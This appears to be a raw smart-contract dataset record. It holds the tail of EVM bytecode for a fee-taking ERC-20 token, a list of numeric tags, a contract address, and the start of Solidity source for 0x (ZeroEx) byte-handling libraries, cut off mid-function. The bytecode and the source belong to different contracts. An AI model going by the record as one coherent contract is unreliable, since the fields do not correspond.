7613ade565b505050505b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b60008183613ac09190614b3c565b905092915050565b60008183613ad69190614bc5565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415613b4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613b45906155ae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613bbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613bb590615640565b60405180910390fd5b613bc983838361420c565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015613c4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613c46906159ba565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254613ce29190614d1a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051613d4691906147c5565b60405180910390a3613d59848484614211565b50505050565b6000613d6a30611491565b90506000601e54601c54601d54613d819190614d1a565b613d8b9190614d1a565b9050600080831480613d9d5750600082145b15613daa57505050614044565b6014600954613db99190614b3c565b831115613dd2576014600954613dcf9190614b3c565b92505b6000600283601d5486613de59190614b3c565b613def9190614bc5565b613df99190614bc5565b90506000613e10828661421690919063ffffffff16565b90506000479050613e208261422c565b6000613e35824761421690919063ffffffff16565b90506000613e6087613e52601c5485613ab290919063ffffffff16565b613ac890919063ffffffff16565b90506000613e8b88613e7d601e5486613ab290919063ffffffff16565b613ac890919063ffffffff16565b90506000818385613e9c9190615914565b613ea69190615914565b90506000601d819055506000601c819055506000601e81905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682604051613f0690615a0b565b60006040518083038185875af1925050503d8060008114613f43576040519150601f19603f3d011682016040523d82523d6000602084013e613f48565b606091505b505080985050600087118015613f5e5750600081115b15613fab57613f6d8782614469565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618682601d54604051613fa293929190615a20565b60405180910390a15b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051613ff190615a0b565b60006040518083038185875af1925050503d806000811461402e576040519150601f19603f3d011682016040523d82523d6000602084013e614033565b606091505b505080985050505050505050505050505b565b600042600e8190555060003073ffffffffffffffffffffffffffffffffffffffff166370a082317f0000000000000000000000008c1370eda182a996f234e6b623622fdb0ff478966040518263ffffffff1660e01b81526004016140aa919061486f565b602060405180830381865afa1580156140c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906140eb91906153eb565b9050600061411861271061410a600b5485613ab290919063ffffffff16565b613ac890919063ffffffff16565b90506000811115614151576141507f0000000000000000000000008c1370eda182a996f234e6b623622fdb0ff4789661dead83613ade565b5b60007f0000000000000000000000008c1370eda182a996f234e6b623622fdb0ff4789690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156141be57600080fd5b505af11580156141d2573d6000803e3d6000fd5b505050507f454c91ae84fcc766ddda0dcb289f26b3d0176efeacf4061fc219fa6ca8c3048d60405160405180910390a16001935050505090565b505050565b505050565b600081836142249190615914565b905092915050565b6000600267ffffffffffffffff81111561424957614248615a57565b5b6040519080825280602002602001820160405280156142775781602001602082028036833780820191505090505b509050308160008151811061428f5761428e615a86565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015614334573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906143589190615aca565b8160018151811061436c5761436b615a86565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506143d1307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846128eb565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401614433959493929190615bf0565b600060405180830381600087803b15801561444d57600080fd5b505af1158015614461573d6000803e3d6000fd5b505050505050565b614494307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846128eb565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061dead426040518863ffffffff1660e01b81526004016144fb96959493929190615c4a565b60606040518083038185885af1158015614519573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061453e9190615cab565b5050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561457f578082015181840152602081019050614564565b8381111561458e576000848401525b50505050565b6000601f19601f8301169050919050565b60006145b082614545565b6145ba8185614550565b93506145ca818560208601614561565b6145d381614594565b840191505092915050565b600060208201905081810360008301526145f881846145a5565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061463082614605565b9050919050565b61464081614625565b811461464b57600080fd5b50565b60008135905061465d81614637565b92915050565b6000819050919050565b61467681614663565b811461468157600080fd5b50565b6000813590506146938161466d565b92915050565b600080604083850312156146b0576146af614600565b5b60006146be8582860161464e565b92505060206146cf85828601614684565b9150509250929050565b60008115159050919050565b6146ee816146d9565b82525050565b600060208201905061470960008301846146e5565b92915050565b60006020828403121561472557614724614600565b5b60006147338482850161464e565b91505092915050565b6000819050919050565b600061476161475c61475784614605565b61473c565b614605565b9050919050565b600061477382614746565b9050919050565b600061478582614768565b9050919050565b6147958161477a565b82525050565b60006020820190506147b0600083018461478c565b92915050565b6147bf81614663565b82525050565b60006020820190506147da60008301846147b6565b92915050565b6000602082840312156147f6576147f5614600565b5b600061480484828501614684565b91505092915050565b60008060006060848603121561482657614825614600565b5b60006148348682870161464e565b93505060206148458682870161464e565b925050604061485686828701614684565b9150509250925092565b61486981614625565b82525050565b60006020820190506148846000830184614860565b92915050565b600060ff82169050919050565b6148a08161488a565b82525050565b60006020820190506148bb6000830184614897565b92915050565b6148ca816146d9565b81146148d557600080fd5b50565b6000813590506148e7816148c1565b92915050565b60008060006060848603121561490657614905614600565b5b600061491486828701614684565b935050602061492586828701614684565b9250506040614936868287016148d8565b9150509250925092565b6000806040838503121561495757614956614600565b5b60006149658582860161464e565b9250506020614976858286016148d8565b9150509250929050565b60008060006060848603121561499957614998614600565b5b60006149a786828701614684565b93505060206149b886828701614684565b92505060406149c986828701614684565b9150509250925092565b6000602082840312156149e9576149e8614600565b5b60006149f7848285016148d8565b91505092915050565b60008060408385031215614a1757614a16614600565b5b6000614a258582860161464e565b9250506020614a368582860161464e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680614a8757607f821691505b60208210811415614a9b57614a9a614a40565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000614ad7602083614550565b9150614ae282614aa1565b602082019050919050565b60006020820190508181036000830152614b0681614aca565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000614b4782614663565b9150614b5283614663565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614b8b57614b8a614b0d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614bd082614663565b9150614bdb83614663565b925082614beb57614bea614b96565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b6000614c52602f83614550565b9150614c5d82614bf6565b604082019050919050565b60006020820190508181036000830152614c8181614c45565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000614ce4602883614550565b9150614cef82614c88565b604082019050919050565b60006020820190508181036000830152614d1381614cd7565b9050919050565b6000614d2582614663565b9150614d3083614663565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614d6557614d64614b0d565b5b828201905092915050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b6000614dcc603383614550565b9150614dd782614d70565b604082019050919050565b60006020820190508181036000830152614dfb81614dbf565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b6000614e5e603083614550565b9150614e6982614e02565b604082019050919050565b60006020820190508181036000830152614e8d81614e51565b9050919050565b7f4d757374206b656570206665657320617420323025206f72206c657373000000600082015250565b6000614eca601d83614550565b9150614ed582614e94565b602082019050919050565b60006020820190508181036000830152614ef981614ebd565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000614f5c603983614550565b9150614f6782614f00565b604082019050919050565b60006020820190508181036000830152614f8b81614f4f565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000614fee602583614550565b9150614ff982614f92565b604082019050919050565b6000602082019050818103600083015261501d81614fe1565b9050919050565b7f4d757374206b656570206665657320617420323525206f72206c657373000000600082015250565b600061505a601d83614550565b915061506582615024565b602082019050919050565b600060208201905081810360008301526150898161504d565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b60006150ec602483614550565b91506150f782615090565b604082019050919050565b6000602082019050818103600083015261511b816150df565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b600061517e603583614550565b915061518982615122565b604082019050919050565b600060208201905081810360008301526151ad81615171565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20302e352520746f74616c20737570706c792e000000000000000000000000602082015250565b6000615210603483614550565b915061521b826151b4565b604082019050919050565b6000602082019050818103600083015261523f81615203565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006152a2602683614550565b91506152ad82615246565b604082019050919050565b600060208201905081810360008301526152d181615295565b9050919050565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e697368600082015250565b600061530e602083614550565b9150615319826152d8565b602082019050919050565b6000602082019050818103600083015261533d81615301565b9050919050565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60008201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b60006153a0602a83614550565b91506153ab82615344565b604082019050919050565b600060208201905081810360008301526153cf81615393565b9050919050565b6000815190506153e58161466d565b92915050565b60006020828403121561540157615400614600565b5b600061540f848285016153d6565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000615474602483614550565b915061547f82615418565b604082019050919050565b600060208201905081810360008301526154a381615467565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000615506602283614550565b9150615511826154aa565b604082019050919050565b60006020820190508181036000830152615535816154f9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000615598602583614550565b91506155a38261553c565b604082019050919050565b600060208201905081810360008301526155c78161558b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061562a602383614550565b9150615635826155ce565b604082019050919050565b600060208201905081810360008301526156598161561d565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000615696601683614550565b91506156a182615660565b602082019050919050565b600060208201905081810360008301526156c581615689565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b600061574e604983614550565b9150615759826156cc565b606082019050919050565b6000602082019050818103600083015261577d81615741565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b60006157e0603583614550565b91506157eb82615784565b604082019050919050565b6000602082019050818103600083015261580f816157d3565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b600061584c601383614550565b915061585782615816565b602082019050919050565b6000602082019050818103600083015261587b8161583f565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b60006158de603683614550565b91506158e982615882565b604082019050919050565b6000602082019050818103600083015261590d816158d1565b9050919050565b600061591f82614663565b915061592a83614663565b92508282101561593d5761593c614b0d565b5b828203905092915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006159a4602683614550565b91506159af82615948565b604082019050919050565b600060208201905081810360008301526159d381615997565b9050919050565b600081905092915050565b50565b60006159f56000836159da565b9150615a00826159e5565b600082019050919050565b6000615a16826159e8565b9150819050919050565b6000606082019050615a3560008301866147b6565b615a4260208301856147b6565b615a4f60408301846147b6565b949350505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050615ac481614637565b92915050565b600060208284031215615ae057615adf614600565b5b6000615aee84828501615ab5565b91505092915050565b6000819050919050565b6000615b1c615b17615b1284615af7565b61473c565b614663565b9050919050565b615b2c81615b01565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b615b6781614625565b82525050565b6000615b798383615b5e565b60208301905092915050565b6000602082019050919050565b6000615b9d82615b32565b615ba78185615b3d565b9350615bb283615b4e565b8060005b83811015615be3578151615bca8882615b6d565b9750615bd583615b85565b925050600181019050615bb6565b5085935050505092915050565b600060a082019050615c0560008301886147b6565b615c126020830187615b23565b8181036040830152615c248186615b92565b9050615c336060830185614860565b615c4060808301846147b6565b9695505050505050565b600060c082019050615c5f6000830189614860565b615c6c60208301886147b6565b615c796040830187615b23565b615c866060830186615b23565b615c936080830185614860565b615ca060a08301846147b6565b979650505050505050565b600080600060608486031215615cc457615cc3614600565b5b6000615cd2868287016153d6565b9350506020615ce3868287016153d6565b9250506040615cf4868287016153d6565b915050925092509256fea2646970667358221220a34cd9522cc1f2ee2c2d0623fc2b43fda023e43a2826fbdf5a5dae658d526c9764736f6c634300080a0033
[ 21, 4, 7, 19, 9, 13, 5 ]
0xf384663c04a77a732e7a222c65b33fe471c7011c
pragma solidity ^0.5.9; pragma experimental ABIEncoderV2; /* Copyright 2020 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract IERC20Token { // solhint-disable no-simple-event-func-name event Transfer( address indexed _from, address indexed _to, uint256 _value ); event Approval( address indexed _owner, address indexed _spender, uint256 _value ); /// @dev send `value` token to `to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return True if transfer was successful function transfer(address _to, uint256 _value) external returns (bool); /// @dev send `value` token to `to` from `from` on the condition it is approved by `from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return True if transfer was successful function transferFrom( address _from, address _to, uint256 _value ) external returns (bool); /// @dev `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Always true if the call has enough gas to complete execution function approve(address _spender, uint256 _value) external returns (bool); /// @dev Query total supply of token /// @return Total supply of token function totalSupply() external view returns (uint256); /// @param _owner The address from which the balance will be retrieved /// @return Balance of owner function balanceOf(address _owner) external view returns (uint256); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) external view returns (uint256); } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract IEtherToken is IERC20Token { function deposit() public payable; function withdraw(uint256 amount) public; } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ library LibRichErrors { // bytes4(keccak256("Error(string)")) bytes4 internal constant STANDARD_ERROR_SELECTOR = 0x08c379a0; // solhint-disable func-name-mixedcase /// @dev ABI encode a standard, string revert error payload. /// This is the same payload that would be included by a `revert(string)` /// solidity statement. It has the function signature `Error(string)`. /// @param message The error string. /// @return The ABI encoded error. function StandardError( string memory message ) internal pure returns (bytes memory) { return abi.encodeWithSelector( STANDARD_ERROR_SELECTOR, bytes(message) ); } // solhint-enable func-name-mixedcase /// @dev Reverts an encoded rich revert reason `errorData`. /// @param errorData ABI encoded error data. function rrevert(bytes memory errorData) internal pure { assembly { revert(add(errorData, 0x20), mload(errorData)) } } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ library LibBytesRichErrors { enum InvalidByteOperationErrorCodes { FromLessThanOrEqualsToRequired, ToLessThanOrEqualsLengthRequired, LengthGreaterThanZeroRequired, LengthGreaterThanOrEqualsFourRequired, LengthGreaterThanOrEqualsTwentyRequired, LengthGreaterThanOrEqualsThirtyTwoRequired, LengthGreaterThanOrEqualsNestedBytesLengthRequired, DestinationLengthGreaterThanOrEqualSourceLengthRequired } // bytes4(keccak256("InvalidByteOperationError(uint8,uint256,uint256)")) bytes4 internal constant INVALID_BYTE_OPERATION_ERROR_SELECTOR = 0x28006595; // solhint-disable func-name-mixedcase function InvalidByteOperationError( InvalidByteOperationErrorCodes errorCode, uint256 offset, uint256 required ) internal pure returns (bytes memory) { return abi.encodeWithSelector( INVALID_BYTE_OPERATION_ERROR_SELECTOR, errorCode, offset, required ); } } library LibBytes { using LibBytes for bytes; /// @dev Gets the memory address for a byte array. /// @param input Byte array to lookup. /// @return memoryAddress Memory address of byte array. This /// points to the header of the byte array which contains /// the length. function rawAddress(bytes memory input) internal pure returns (uint256 memoryAddress) { assembly { memoryAddress := input } return memoryAddress; } /// @dev Gets the memory address for the contents of a byte array. /// @param input Byte array to lookup. /// @return memoryAddress Memory address of the contents of the byte array. function contentAddress(bytes memory input) internal pure returns (uint256 memoryAddress) { assembly { memoryAddress := add(input, 32) } return memoryAddress; } /// @dev Copies `length` bytes from memory location `source` to `dest`. /// @param dest memory address to copy bytes to. /// @param source memory address to copy bytes from. /// @param length number of bytes to copy. function memCopy( uint256 dest, uint256 source, uint256 length ) internal pure { if (length < 32) { // Handle a partial word by reading destination and masking // off the bits we are interested in. // This correctly handles overlap, zero lengths and source == dest assembly { let mask := sub(exp(256, sub(32, length)), 1) let s := and(mload(source), not(mask)) let d := and(mload(dest), mask) mstore(dest, or(s, d)) } } else { // Skip the O(length) loop when source == dest. if (source == dest) { return; } // For large copies we copy whole words at a time. The final // word is aligned to the end of the range (instead of after the // previous) to handle partial words. So a copy will look like this: // // #### // #### // #### // #### // // We handle overlap in the source and destination range by // changing the copying direction. This prevents us from // overwriting parts of source that we still need to copy. // // This correctly handles source == dest // if (source > dest) { assembly { // We subtract 32 from `sEnd` and `dEnd` because it // is easier to compare with in the loop, and these // are also the addresses we need for copying the // last bytes. length := sub(length, 32) let sEnd := add(source, length) let dEnd := add(dest, length) // Remember the last 32 bytes of source // This needs to be done here and not after the loop // because we may have overwritten the last bytes in // source already due to overlap. let last := mload(sEnd) // Copy whole words front to back // Note: the first check is always true, // this could have been a do-while loop. // solhint-disable-next-line no-empty-blocks for {} lt(source, sEnd) {} { mstore(dest, mload(source)) source := add(source, 32) dest := add(dest, 32) } // Write the last 32 bytes mstore(dEnd, last) } } else { assembly { // We subtract 32 from `sEnd` and `dEnd` because those // are the starting points when copying a word at the end. length := sub(length, 32) let sEnd := add(source, length) let dEnd := add(dest, length) // Remember the first 32 bytes of source // This needs to be done here and not after the loop // because we may have overwritten the first bytes in // source already due to overlap. let first := mload(source) // Copy whole words back to front // We use a signed comparisson here to allow dEnd to become // negative (happens when source and dest < 32). Valid // addresses in local memory will never be larger than // 2**255, so they can be safely re-interpreted as signed. // Note: the first check is always true, // this could have been a do-while loop. // solhint-disable-next-line no-empty-blocks for {} slt(dest, dEnd) {} { mstore(dEnd, mload(sEnd)) sEnd := sub(sEnd, 32) dEnd := sub(dEnd, 32) } // Write the first 32 bytes mstore(dest, first) } } } } /// @dev Returns a slices from a byte array. /// @param b The byte array to take a slice from. /// @param from The starting index for the slice (inclusive). /// @param to The final index for the slice (exclusive). /// @return result The slice containing bytes at indices [from, to) function slice( bytes memory b, uint256 from, uint256 to ) internal pure returns (bytes memory result) { // Ensure that the from and to positions are valid positions for a slice within // the byte array that is being used. if (from > to) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors.InvalidByteOperationErrorCodes.FromLessThanOrEqualsToRequired, from, to )); } if (to > b.length) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors.InvalidByteOperationErrorCodes.ToLessThanOrEqualsLengthRequired, to, b.length )); } // Create a new bytes structure and copy contents result = new bytes(to - from); memCopy( result.contentAddress(), b.contentAddress() + from, result.length ); return result; } /// @dev Returns a slice from a byte array without preserving the input. /// @param b The byte array to take a slice from. Will be destroyed in the process. /// @param from The starting index for the slice (inclusive). /// @param to The final index for the slice (exclusive). /// @return result The slice containing bytes at indices [from, to) /// @dev When `from == 0`, the original array will match the slice. In other cases its state will be corrupted. function sliceDestructive( bytes memory b, uint256 from, uint256 to ) internal pure returns (bytes memory result) { // Ensure that the from and to positions are valid positions for a slice within // the byte array that is being used. if (from > to) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors.InvalidByteOperationErrorCodes.FromLessThanOrEqualsToRequired, from, to )); } if (to > b.length) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors.InvalidByteOperationErrorCodes.ToLessThanOrEqualsLengthRequired, to, b.length )); } // Create a new bytes structure around [from, to) in-place. assembly { result := add(b, from) mstore(result, sub(to, from)) } return result; } /// @dev Pops the last byte off of a byte array by modifying its length. /// @param b Byte array that will be modified. /// @return The byte that was popped off. function popLastByte(bytes memory b) internal pure returns (bytes1 result) { if (b.length == 0) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanZeroRequired, b.length, 0 )); } // Store last byte. result = b[b.length - 1]; assembly { // Decrement length of byte array. let newLen := sub(mload(b), 1) mstore(b, newLen) } return result; } /// @dev Tests equality of two byte arrays. /// @param lhs First byte array to compare. /// @param rhs Second byte array to compare. /// @return True if arrays are the same. False otherwise. function equals( bytes memory lhs, bytes memory rhs ) internal pure returns (bool equal) { // Keccak gas cost is 30 + numWords * 6. This is a cheap way to compare. // We early exit on unequal lengths, but keccak would also correctly // handle this. return lhs.length == rhs.length && keccak256(lhs) == keccak256(rhs); } /// @dev Reads an address from a position in a byte array. /// @param b Byte array containing an address. /// @param index Index in byte array of address. /// @return address from byte array. function readAddress( bytes memory b, uint256 index ) internal pure returns (address result) { if (b.length < index + 20) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsTwentyRequired, b.length, index + 20 // 20 is length of address )); } // Add offset to index: // 1. Arrays are prefixed by 32-byte length parameter (add 32 to index) // 2. Account for size difference between address length and 32-byte storage word (subtract 12 from index) index += 20; // Read address from array memory assembly { // 1. Add index to address of bytes array // 2. Load 32-byte word from memory // 3. Apply 20-byte mask to obtain address result := and(mload(add(b, index)), 0xffffffffffffffffffffffffffffffffffffffff) } return result; } /// @dev Writes an address into a specific position in a byte array. /// @param b Byte array to insert address into. /// @param index Index in byte array of address. /// @param input Address to put into byte array. function writeAddress( bytes memory b, uint256 index, address input ) internal pure { if (b.length < index + 20) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsTwentyRequired, b.length, index + 20 // 20 is length of address )); } // Add offset to index: // 1. Arrays are prefixed by 32-byte length parameter (add 32 to index) // 2. Account for size difference between address length and 32-byte storage word (subtract 12 from index) index += 20; // Store address into array memory assembly { // The address occupies 20 bytes and mstore stores 32 bytes. // First fetch the 32-byte word where we'll be storing the address, then // apply a mask so we have only the bytes in the word that the address will not occupy. // Then combine these bytes with the address and store the 32 bytes back to memory with mstore. // 1. Add index to address of bytes array // 2. Load 32-byte word from memory // 3. Apply 12-byte mask to obtain extra bytes occupying word of memory where we'll store the address let neighbors := and( mload(add(b, index)), 0xffffffffffffffffffffffff0000000000000000000000000000000000000000 ) // Make sure input address is clean. // (Solidity does not guarantee this) input := and(input, 0xffffffffffffffffffffffffffffffffffffffff) // Store the neighbors and address into memory mstore(add(b, index), xor(input, neighbors)) } } /// @dev Reads a bytes32 value from a position in a byte array. /// @param b Byte array containing a bytes32 value. /// @param index Index in byte array of bytes32 value. /// @return bytes32 value from byte array. function readBytes32( bytes memory b, uint256 index ) internal pure returns (bytes32 result) { if (b.length < index + 32) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsThirtyTwoRequired, b.length, index + 32 )); } // Arrays are prefixed by a 256 bit length parameter index += 32; // Read the bytes32 from array memory assembly { result := mload(add(b, index)) } return result; } /// @dev Writes a bytes32 into a specific position in a byte array. /// @param b Byte array to insert <input> into. /// @param index Index in byte array of <input>. /// @param input bytes32 to put into byte array. function writeBytes32( bytes memory b, uint256 index, bytes32 input ) internal pure { if (b.length < index + 32) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsThirtyTwoRequired, b.length, index + 32 